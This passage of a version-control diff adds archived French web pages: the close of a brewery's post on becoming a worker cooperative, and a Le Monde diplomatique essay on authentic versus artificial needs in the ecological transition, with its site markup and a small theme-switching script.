<p>Nous considérons l'entreprise comme une sorte de bien commun, plutôt que comme quelque chose qui appartient à certain⋅es : c'est tout simplement notre cadre de travail.</p> | |||
<p>Au lieu de de rémunérer la propriété de l'entreprise, <strong>nous cherchons à rémunérer le travail</strong>. Mesurer le temps passé à travailler est parfois complexe, mais cela nous semble plus équitable que de rémunérer la propriété.</p> | |||
<p>Nous n'avons donc <strong>pas d'actionnaires extérieurs</strong>, et nous ne versons <strong>pas de dividendes</strong> aux <em>salarié⋅es sociétaires</em> : ce qui devient rémunérateur est le travail que nous effectuons au sein de la brasserie, même si celui-ci parait difficilement mesurable et ne se résume pas au seul <em>temps de travail</em>.</p> | |||
<p>Selon la même logique, <strong>l'entreprise n'est pas un lieu de rémunération du capital qui y est déposé</strong>. Le capital social d'une SCOP ne prend pas de valeur. Lorsque un⋅e sociétaire apporte 1 € il ou elle repart avec 1 € sans faire de plus-value. Les réserves cumulées d'année en année restent dans l'entreprise pour contribuer à son indépendance.</p> | |||
<p>D'ailleurs, plutôt que de compter sur une valorisation de l'entreprise au moment de sa revente, nous préférons <strong>nous payer correctement au quotidien</strong>, et nous reverser les éventuels excédents générés par l'activité en fin d'année (au moins 25% des bénéfices générés sont répartis entre les salarié⋅es).</p> | |||
<p>C'est important pour nous de redéfinir ce rapport à la propriété : une entreprise ne devrait pas décider sans ses salariés, surtout si c'est pour l'enrichissement personnel de ceux et celles qui en sont propriétaires.</p> | |||
<h1>2. Apprendre à faire ensemble</h1> | |||
<p>Nous constatons que la démocratie ne s'applique pas toujours dans nos milieux d'entreprises, nous poussant parfois à <strong>accepter dans nos milieux pros ce qui ne l'est pas dans nos vies privées</strong>. Pour inverser cette tendance, nous cherchons à créer un cadre dans lequel <strong>les discussions deviennent possibles et souhaitables</strong>, et où le pouvoir est réellement partagé.</p> | |||
<p>Tous⋅tes <strong>les salarié⋅es-sociétaires prennent donc part aux décisions stratégiques</strong>, plutôt que d'avoir un simple avis consultatif.</p> | |||
<p>Les <strong>responsabilités sont partagées</strong> pour que la réussite de l'entreprise repose sur l'ensemble des personnes, et non plus sur quelques un⋅es.</p> | |||
<p>De temps en temps — bien sûr — nos intérêts divergent, et cela nous pousse à <strong>regarder en face nos désaccords</strong> puis à les discuter pour mieux les comprendre. C'est une culture d'entreprise qui nous plaît — et qui dénote avec les structures plus classiques qui mettent les décideurs⋅euses au sommet et les travailleurs⋅euses à la base.</p> | |||
<p>C'est aussi un moyen de <strong>pérenniser notre projet en le dépersonnalisant</strong>. L'entreprise qui avant était incarnée par deux personnes est maintenant la propriété de l'ensemble des salariés (Fred, Colin et Alexis).</p> | |||
<p>Nous demandons aux personnes qui travaillent avec nous de s'engager dans la vie de la coopérative, au bout d'un an maximum, afin d'éviter de reproduire une structure dans laquelle les salariés ne sont pas décisionnaires.</p> | |||
<h1>3. Cultiver notre indépendance</h1> | |||
<p>Nous apprécions notre indépendance et mettons en place des outils pour faire en sorte de la conserver sur le long terme.</p> | |||
<p>Il est par exemple <strong>impossible de revendre la brasserie</strong>. A l'heure ou certaines brasseries se font racheter, c'est un moyen de garantir notre indépendance. C'est dans ce sens que nous avons fait le choix de ne pas autoriser les actionnaires extérieurs.</p> | |||
<p>La SCOP est aussi <strong>un moyen d'asseoir notre indépendance financière</strong> vis-à-vis des structures extérieures : les apports de chaque <em>salarié⋅e-sociétaire</em> constituent un capital qui permet de <strong>limiter la recherche de financeurs extérieurs</strong>, pérennisant l'indépendance financière de l'entreprise.</p> | |||
<p>Certains outils financiers simplifient également le financement des SCOP, en remplaçant les cautions personnelles par des garanties bancaires ou des financements de prêts. Cela permet de s'enlever une pression financière à titre personnelle, en cas de défaillance de l'entreprise.</p> | |||
<p>Cette prise de parts par les sociétaires est en fait obligatoire : chaque année, ils et elles doivent « monter au capital » en apportant à l'entreprise une partie de ses revenus. L'idée est que chacun⋅e soit engagé⋅e économiquement au même titre dans l'entreprise à terme. La montée au capital se fait progressivement d'année en année pour ne pas trop peser sur les revenus des nouveaux sociétaires.</p> | |||
<p>Autre point clé : 75% des bénéfices est mise en réserve tous les ans, ce qui permet d'autofinancer les projets, plutôt que de les répartir entre associés, par exemple via des dividendes.</p> | |||
<h2>En résumé</h2> | |||
<p>On est très contents de ce changement de statut… même si c'est une grande nouveauté pour nous ! C'est toujours une expérience en cours, et nous allons devoir sans doute nous réinventer au fur et à mesure des années pour que nos idéaux trouvent leur place dans notre travail.</p> | |||
<p>La SCOP est un outil qui nous semble pertinent parce qu'il vient rebattre les cartes : il est rare de voir des entreprises dans lesquelles les salarié⋅es ont le « pouvoir », alors même que cela nous parait logique et sain.</p> | |||
<p>On vous attend avec une surprise houblonnée très bientôt pour fêter ça :-)</p> | |||
<p><em>A bientôt, pour de nouvelles aventures !</em></p> |
@@ -0,0 +1,192 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Ce dont nous avons (vraiment) besoin (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Ce dont nous avons (vraiment) besoin</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p><span class="mot-lettrine"><span class="lettrine">L</span>a</span> transition écologique suppose de faire des choix de consommation. Mais sur quelle base<small class="fine"> </small>? Comment distinguer les besoins légitimes, qui pourront être satisfaits dans la société future, des besoins égoïstes et déraisonnables, qu’il faudra renoncer à assouvir<small class="fine"> </small>? C’est la question qu’aborde le <i>Manifeste négaWatt,</i> l’un des ouvrages d’écologie politique les plus stimulants parus récemment, rédigé par des spécialistes de l’énergie<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb1" class="spip_note" rel="appendix" title="Association négaWatt, Manifeste négaWatt. En route pour la transition (...)" id="nh1">1</a>)</span>. Un négawatt, c’est une unité d’énergie économisée — «<small class="fine"> </small>néga<small class="fine"> </small>» pour négatif. Grâce aux énergies renouvelables, à l’isolation du bâti ou au raccourcissement des circuits économiques, il est possible, selon les auteurs, de mettre sur pied un système économique qui soit écologiquement viable à l’échelle d’un pays, et même au-delà. À technologie constante, notre société renferme d’importants <i>«<small class="fine"> </small>gisements de négawatts<small class="fine"> </small>».</i></p> | |||
<p>Le consumérisme ambiant ne saurait perdurer, car il accroît en permanence les flux de matières premières et la consommation d’énergie. Ses effets aliénants sur les personnes ne sont de surcroît plus à démontrer. Une société «<small class="fine"> </small>négawatt<small class="fine"> </small>» est une société de la sobriété où des possibilités de consommation sont délibérément écartées car considérées comme néfastes. Mais sur quels critères<small class="fine"> </small>?</p> | |||
<p>Pour répondre à cette question, les auteurs du manifeste distinguent les besoins humains authentiques, légitimes, qu’il faudra donc continuer à satisfaire, et les besoins artificiels, illégitimes, dont il faudra se défaire. Le premier groupe comprend ceux qu’ils qualifient de <i>«<small class="fine"> </small>vitaux<small class="fine"> </small>», «<small class="fine"> </small>essentiels<small class="fine"> </small>», «<small class="fine"> </small>indispensables<small class="fine"> </small>», «<small class="fine"> </small>utiles<small class="fine"> </small>»</i> et <i>«<small class="fine"> </small>convenables<small class="fine"> </small>».</i> Le second, ceux qu’ils jugent <i>«<small class="fine"> </small>accessoires<small class="fine"> </small>», «<small class="fine"> </small>futiles<small class="fine"> </small>», «<small class="fine"> </small>extravagants<small class="fine"> </small>», «<small class="fine"> </small>inacceptables<small class="fine"> </small>», «<small class="fine"> </small>égoïstes<small class="fine"> </small>».</i></p> | |||
<p>Dès lors, deux problèmes apparaissent. D’abord, comment définir un besoin «<small class="fine"> </small>essentiel<small class="fine"> </small>»<small class="fine"> </small>? Qu’est-ce qui le distingue d’un besoin «<small class="fine"> </small>accessoire<small class="fine"> </small>» ou «<small class="fine"> </small>inacceptable<small class="fine"> </small>»<small class="fine"> </small>? Et ensuite, qui décide<small class="fine"> </small>? Quels mécanismes ou institutions conféreront une légitimité au choix de satisfaire tel besoin plutôt que tel autre<small class="fine"> </small>? Le <i>Manifeste négaWatt</i> ne dit rien à ce propos.</p> | |||
<p>Pour répondre à ces questions, il est bon de se tourner vers deux penseurs critiques et pionniers de l’écologie politique, André Gorz et Ágnes Heller.</p> | |||
<p>Dans les années 1960 et 1970, ils ont développé une théorie des besoins sophistiquée qui est d’une grande actualité<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb2" class="spip_note" rel="appendix" title="André Gorz, Stratégie ouvrière et néocapitalisme, Seuil, Paris, 1964, et Ágnes (...)" id="nh2">2</a>)</span>. L’un comme l’autre ont abordé ces questions à partir d’une réflexion sur l’aliénation, laquelle peut se mesurer à l’aune de besoins authentiques. En effet, on est aliéné par rapport à un état idéal auquel on cherche à revenir, ou que l’on cherche à atteindre enfin. La notion désigne le processus par lequel le capitalisme suscite des besoins artificiels qui nous éloignent de cet état. En plus d’être aliénants, la plupart de ces besoins sont écologiquement irréalistes.</p> | |||
<h3 class="spip"> Une tâche brûlante de notre temps </h3> | |||
<p>Qu’est-ce qu’un besoin «<small class="fine"> </small>authentique<small class="fine"> </small>»<small class="fine"> </small>? On pense bien sûr aux exigences dont dépendent la survie ou le bien-être de l’organisme : manger, boire ou se protéger du froid, par exemple. Dans les pays du Sud, et même du Nord, certains de ces besoins élémentaires ne sont pas satisfaits. D’autres, qui l’étaient autrefois, le sont de moins en moins. Jusqu’à récemment, respirer un air non pollué allait de soi<small class="fine"> </small>; c’est devenu difficile dans les mégapoles contemporaines. Il en va de même pour le sommeil. Aujourd’hui, la pollution lumineuse rend l’endormissement difficile pour nombre de personnes, l’omniprésence de la lumière dans les villes retardant la synthèse de la mélatonine (surnommée «<small class="fine"> </small>hormone du sommeil<small class="fine"> </small>»). Dans certains pays, la lutte contre la pollution lumineuse a suscité l’émergence de mouvements sociaux revendiquant un «<small class="fine"> </small>droit à l’obscurité<small class="fine"> </small>» et appelant à la création de «<small class="fine"> </small>parcs aux étoiles<small class="fine"> </small>» non pollués par la lumière artificielle<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb3" class="spip_note" rel="appendix" title="Cf. Marc Lettau, « Face à la pollution lumineuse en Suisse, les adeptes de (...)" id="nh3">3</a>)</span>.</p> | |||
<p>L’exemple de la pollution sonore parle également à nombre de citadins. On consacre des volumes croissants d’argent à l’isolation des logements, afin de satisfaire un besoin — le silence — autrefois gratuit. Ces dépenses nouvelles sont susceptibles de peser à la baisse sur le taux de profit, mais elles offrent simultanément des sources d’enrichissement, par exemple pour les entreprises spécialisées dans l’insonorisation.</p> | |||
<p>Tous les besoins «<small class="fine"> </small>authentiques<small class="fine"> </small>» ne sont pas d’ordre biologique. Aimer et être aimé, se cultiver, faire preuve d’autonomie et de créativité manuelle et intellectuelle, prendre part à la vie de la cité, contempler la nature... sur le plan physiologique, on peut certainement faire sans. Mais ces besoins sont consubstantiels à la définition d’une vie humaine digne d’être vécue. André Gorz les appelle <i>«<small class="fine"> </small>besoins qualitatifs<small class="fine"> </small>»</i><small class="fine"> </small>; Ágnes Heller, <i>«<small class="fine"> </small>besoins radicaux<small class="fine"> </small>».</i></p> | |||
<p>Les besoins qualitatifs ou radicaux reposent sur un paradoxe. En même temps qu’il exploite et aliène, le capitalisme génère à la longue un certain bien-être matériel pour des secteurs importants de la population. Il libère de ce fait les individus de l’obligation de lutter au quotidien pour assurer leur survie. De nouvelles aspirations, qualitatives, prennent alors de l’importance. Mais, à mesure qu’il monte en puissance, le capitalisme empêche leur pleine réalisation. La division du travail enferme l’individu dans des fonctions et des compétences étroites tout au long de sa vie, lui interdisant de développer librement la gamme des facultés humaines. De même, le consumérisme ensevelit les besoins authentiques sous des besoins factices. L’achat d’une marchandise satisfait rarement un vrai manque. Il procure une satisfaction momentanée<small class="fine"> </small>; puis le désir que la marchandise avait elle-même créé se redéploie vers une autre vitrine.</p> | |||
<p>Constitutifs de notre être, les besoins authentiques ne peuvent trouver leur satisfaction dans le régime économique actuel. C’est pourquoi ils sont le ferment de bien des mouvements d’émancipation. <i>«<small class="fine"> </small>Le besoin est révolutionnaire en germe<small class="fine"> </small>»,</i> dit André Gorz<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb4" class="spip_note" rel="appendix" title="André Gorz, La Morale de l’histoire, Seuil, Paris, 1959." id="nh4">4</a>)</span>. La quête de son assouvissement conduit tôt ou tard les individus à soumettre le système à la critique.</p> | |||
<p>Les besoins qualitatifs évoluent historiquement. Voyager, par exemple, permet à l’individu de se cultiver et de s’ouvrir à l’altérité. Jusqu’au milieu du XXe siècle, seules les élites voyageaient. Désormais, la pratique se démocratise. On pourrait définir le progrès social par l’apparition de besoins toujours plus enrichissants et sophistiqués, et accessibles au plus grand nombre.</p> | |||
<p>Mais des aspects néfastes apparaissent parfois en cours de route. Si le transport en avion proposé par les compagnies à bas coût contribue à rendre le voyage accessible aux classes populaires, il émet aussi une énorme quantité de gaz à effet de serre, et il détruit les équilibres des zones où les touristes se rendent en masse pour voir... d’autres touristes en train de regarder ce qu’il y a à voir. Voyager est devenu un besoin authentique<small class="fine"> </small>; il faudra pourtant inventer de nouvelles façons de se déplacer, adaptées au monde de demain.</p> | |||
<p>Si le progrès social induit parfois des effets pervers, des besoins à l’origine néfastes peuvent, à l’inverse, devenir viables avec le temps. Aujourd’hui, la possession d’un smartphone relève d’un besoin égoïste. Ces téléphones contiennent des «<small class="fine"> </small>minerais de sang<small class="fine"> </small>» — tungstène, tantale, étain et or notamment —, dont l’extraction occasionne des conflits armés et des pollutions graves. Ce n’est pourtant pas l’appareil lui-même qui est en question. Si un smartphone «<small class="fine"> </small>équitable<small class="fine"> </small>» voit le jour — le Fairphone semble en être une préfiguration<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb5" class="spip_note" rel="appendix" title="Lire Emmanuel Raoul, « Peut-on fabriquer un téléphone équitable ? », Le Monde (...)" id="nh5">5</a>)</span> —, il n’y a pas de raison que cet objet soit banni des sociétés futures. D’autant plus qu’il a donné lieu à des formes de sociabilité nouvelles, à travers l’accès continu aux réseaux sociaux ou grâce à l’appareil photographique qu’il intègre. Qu’il encourage le narcissisme ou génère des névroses chez ses utilisateurs n’est sans doute pas inévitable. En ce sens, on ne peut exclure que le smartphone, à travers certains de ses usages, se transforme progressivement en besoin qualitatif, comme le voyage avant lui.</p> | |||
<p>Selon André Gorz, la société capitaliste a pour devise : «<small class="fine"> </small>Ce qui est bon pour tous ne vaut rien. Tu ne seras respectable que si tu as “mieux” que les autres<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb6" class="spip_note" rel="appendix" title="Lire André Gorz, « Leur écologie et la nôtre », Le Monde diplomatique, avril (...)" id="nh6">6</a>)</span>.<small class="fine"> </small>» On peut lui opposer une devise écologiste : «<small class="fine"> </small>Seul est digne de toi ce qui est bon pour tous. Seul mérite d’être produit ce qui ne privilégie ni n’abaisse personne.<small class="fine"> </small>» Aux yeux de Gorz, un besoin qualitatif a ceci de particulier qu’il ne donne pas prise à la «<small class="fine"> </small>distinction<small class="fine"> </small>».</p> | |||
<p>En régime capitaliste, la consommation revêt en effet une dimension ostentatoire. Acheter le dernier modèle de voiture revient à exhiber un statut social (réel ou supposé). Un beau jour, cependant, ce modèle passe de mode et son pouvoir distinctif s’effondre, provoquant le besoin d’un autre achat. Cette fuite en avant inhérente à l’économie de marché contraint les entreprises qui se concurrencent à produire des marchandises toujours nouvelles.</p> | |||
<p>Comment rompre avec cette logique de distinction productiviste<small class="fine"> </small>? Par exemple, en allongeant la durée de vie des objets. Une pétition lancée par Les Amis de la Terre exige que l’on fasse passer la garantie des marchandises de deux ans — une obligation inscrite dans le droit européen — à dix ans<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb7" class="spip_note" rel="appendix" title="« Signez la pétition “Garantie 10 ans maintenant” », 24 octobre (...)" id="nh7">7</a>)</span>. Plus de 80<small class="fine"> </small>% des objets sous garantie sont réparés<small class="fine"> </small>; or ce pourcentage tombe à moins de 40<small class="fine"> </small>% une fois l’échéance passée. Moralité : plus la garantie est longue, plus les objets durent<small class="fine"> </small>; et plus la quantité de marchandises vendues et donc produites diminue, limitant par la même occasion les logiques de distinction, qui reposent souvent sur l’effet de nouveauté. La garantie, c’est la lutte des classes appliquée à la durée de vie des objets.</p> | |||
<p>Qui détermine le caractère légitime ou non d’un besoin<small class="fine"> </small>? Un risque apparaît ici, qu’Ágnes Heller appelle la <i>«<small class="fine"> </small>dictature sur les besoins</i><span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb8" class="spip_note" rel="appendix" title="Cf. Ferenc Fehér, Ágnes Heller et György Márkus, Dictatorship Over Needs, St. (...)" id="nh8">8</a>)</span><i><small class="fine"> </small>»,</i> comme celle qui prévalut en URSS. Si une bureaucratie d’experts autoproclamés décide de ce que sont les besoins «<small class="fine"> </small>authentiques<small class="fine"> </small>», et par conséquent les choix de production et de consommation, ceux-ci ont peu de chances d’être judicieux et légitimes. Pour que la population accepte la transition écologique, il faut que les décisions qui la sous-tendent emportent l’adhésion. Établir une liste de besoins authentiques n’a rien d’évident et suppose une délibération collective continue. Il s’agit donc de mettre en place un mécanisme qui vienne d’en bas, d’où émane démocratiquement une identification des besoins raisonnables.</p> | |||
<p>Difficile d’imaginer ce que pourrait être un tel mécanisme. En esquisser les contours constitue une tâche brûlante de notre temps, dont dépend la construction d’une société juste et viable. La puissance publique a certainement un rôle à jouer, par exemple en taxant les besoins futiles pour démocratiser les besoins authentiques, en régulant les choix des consommateurs. Mais encore faut-il convaincre de la futilité de nombreux besoins<small class="fine"> </small>; et, pour cela, il faut un dispositif situé au plus près des individus. Il s’agit d’extraire le consommateur de son tête-à-tête avec la marchandise et de réorienter la <i>libido consumandi</i> vers d’autres désirs.</p> | |||
<p>La transition écologique nous incite à fonder une démocratie directe, plus délibérative que représentative. L’adaptation des sociétés à la crise environnementale suppose de réorganiser de fond en comble la vie quotidienne des populations. Or cela ne se fera pas sans les mobiliser, sans s’appuyer sur leurs savoirs et leurs savoir-faire, et sans transformer dans un même mouvement les subjectivités consuméristes. C’est donc à une nouvelle «<small class="fine"> </small>critique de la vie quotidienne<small class="fine"> </small>» qu’il faut parvenir<small class="fine"> </small>; une critique élaborée collectivement.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,25 @@ | |||
title: Ce dont nous avons (vraiment) besoin | |||
url: https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134 | |||
hash_url: 65e0c481f692260299c53e9713339f53 | |||
<p><span class="mot-lettrine"><span class="lettrine">L</span>a</span> transition écologique suppose de faire des choix de consommation. Mais sur quelle base<small class="fine"> </small>? Comment distinguer les besoins légitimes, qui pourront être satisfaits dans la société future, des besoins égoïstes et déraisonnables, qu’il faudra renoncer à assouvir<small class="fine"> </small>? C’est la question qu’aborde le <i>Manifeste négaWatt,</i> l’un des ouvrages d’écologie politique les plus stimulants parus récemment, rédigé par des spécialistes de l’énergie<span class="spip_note_ref"> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134#nb1" class="spip_note" rel="appendix" title="Association négaWatt, Manifeste négaWatt. En route pour la transition (...)" id="nh1">1</a>)</span>. Un négawatt, c’est une unité d’énergie économisée — «<small class="fine"> </small>néga<small class="fine"> </small>» pour négatif. Grâce aux énergies renouvelables, à l’isolation du bâti ou au raccourcissement des circuits économiques, il est possible, selon les auteurs, de mettre sur pied un système économique qui soit écologiquement viable à l’échelle d’un pays, et même au-delà. À technologie constante, notre société renferme d’importants <i>«<small class="fine"> </small>gisements de négawatts<small class="fine"> </small>».</i></p> | |||
<p>Le consumérisme ambiant ne saurait perdurer, car il accroît en permanence les flux de matières premières et la consommation d’énergie. Ses effets aliénants sur les personnes ne sont de surcroît plus à démontrer. Une société «<small class="fine"> </small>négawatt<small class="fine"> </small>» est une société de la sobriété où des possibilités de consommation sont délibérément écartées car considérées comme néfastes. Mais sur quels critères<small class="fine"> </small>?</p> | |||
<p>Pour répondre à cette question, les auteurs du manifeste distinguent les besoins humains authentiques, légitimes, qu’il faudra donc continuer à satisfaire, et les besoins artificiels, illégitimes, dont il faudra se défaire. Le premier groupe comprend ceux qu’ils qualifient de <i>«<small class="fine"> </small>vitaux<small class="fine"> </small>», «<small class="fine"> </small>essentiels<small class="fine"> </small>», «<small class="fine"> </small>indispensables<small class="fine"> </small>», «<small class="fine"> </small>utiles<small class="fine"> </small>»</i> et <i>«<small class="fine"> </small>convenables<small class="fine"> </small>».</i> Le second, ceux qu’ils jugent <i>«<small class="fine"> </small>accessoires<small class="fine"> </small>», «<small class="fine"> </small>futiles<small class="fine"> </small>», «<small class="fine"> </small>extravagants<small class="fine"> </small>», «<small class="fine"> </small>inacceptables<small class="fine"> </small>», «<small class="fine"> </small>égoïstes<small class="fine"> </small>».</i></p> | |||
<p>Dès lors, deux problèmes apparaissent. D’abord, comment définir un besoin «<small class="fine"> </small>essentiel<small class="fine"> </small>»<small class="fine"> </small>? Qu’est-ce qui le distingue d’un besoin «<small class="fine"> </small>accessoire<small class="fine"> </small>» ou «<small class="fine"> </small>inacceptable<small class="fine"> </small>»<small class="fine"> </small>? Et ensuite, qui décide<small class="fine"> </small>? Quels mécanismes ou institutions conféreront une légitimité au choix de satisfaire tel besoin plutôt que tel autre<small class="fine"> </small>? Le <i>Manifeste négaWatt</i> ne dit rien à ce propos.</p> | |||
<p>Pour répondre à ces questions, il est bon de se tourner vers deux penseurs critiques et pionniers de l’écologie politique, André Gorz et Ágnes Heller.</p> | |||
